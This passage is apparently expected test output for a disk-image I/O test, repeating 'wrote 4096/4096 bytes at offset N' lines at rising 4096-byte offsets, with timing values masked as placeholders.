bytes at offset 3039232 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3047424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3055616 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3063808 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3072000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3080192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3088384 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3096576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3104768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3112960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3121152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3129344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3137536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3145728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3153920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3162112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3170304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3178496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3186688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3194880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3203072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3211264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3219456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3227648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3235840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3244032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3252224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3260416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3268608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3276800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3284992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3293184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3301376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3309568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3317760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3325952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3334144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3342336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3350528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3358720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3366912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3375104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3383296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3391488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3399680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3407872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3416064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3424256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3432448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3440640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3448832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3457024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3465216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3473408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3481600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3489792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3497984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3506176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3514368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3522560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3530752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3538944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3547136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3555328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3563520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3571712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3579904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3588096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3596288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3604480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3612672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3620864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3629056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3637248 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3645440 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3653632 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3661824 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3670016 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3678208 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3686400 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3694592 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3702784 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3710976 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3719168 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3727360 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3735552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3743744 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3751936 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3760128 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3768320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3776512 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3784704 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3792896 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3801088 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3809280 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3817472 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3825664 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3833856 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3842048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3850240 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3858432 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3866624 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3874816 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3883008 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3891200 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3899392 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3907584 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3915776 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3923968 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3932160 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3940352 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3948544 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3956736 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3964928 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3973120 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3981312 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3989504 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3997696 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4005888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4014080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4022272 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4030464 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4038656 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4046848 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4055040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4063232 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4071424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4079616 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4087808 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4104192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4112384 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4120576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4128768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4136960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4145152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4153344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4161536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4169728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4177920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4186112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4194304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4202496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4210688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4218880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4227072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4235264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4243456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4251648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4259840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4268032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4276224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4284416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4292608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4300800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4308992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4317184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4325376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4333568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4341760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4349952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4358144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4366336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4374528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4382720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4390912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4399104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4407296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4415488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4423680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4431872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4440064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4448256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4456448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4464640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4472832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4481024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4489216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4497408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4505600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4513792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4521984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4530176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4538368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4546560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4554752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4562944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4571136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4579328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4587520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4595712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4603904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4612096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4620288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4628480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4636672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4644864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4653056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4661248 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4669440 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4677632 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4685824 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4694016 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4702208 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4710400 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4718592 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4726784 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4734976 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4743168 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4751360 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4759552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4767744 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4775936 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4784128 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4792320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4800512 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4808704 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4816896 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4825088 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4833280 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4841472 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4849664 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4857856 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4866048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4874240 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4882432 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4890624 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4898816 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4907008 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4915200 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4923392 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX 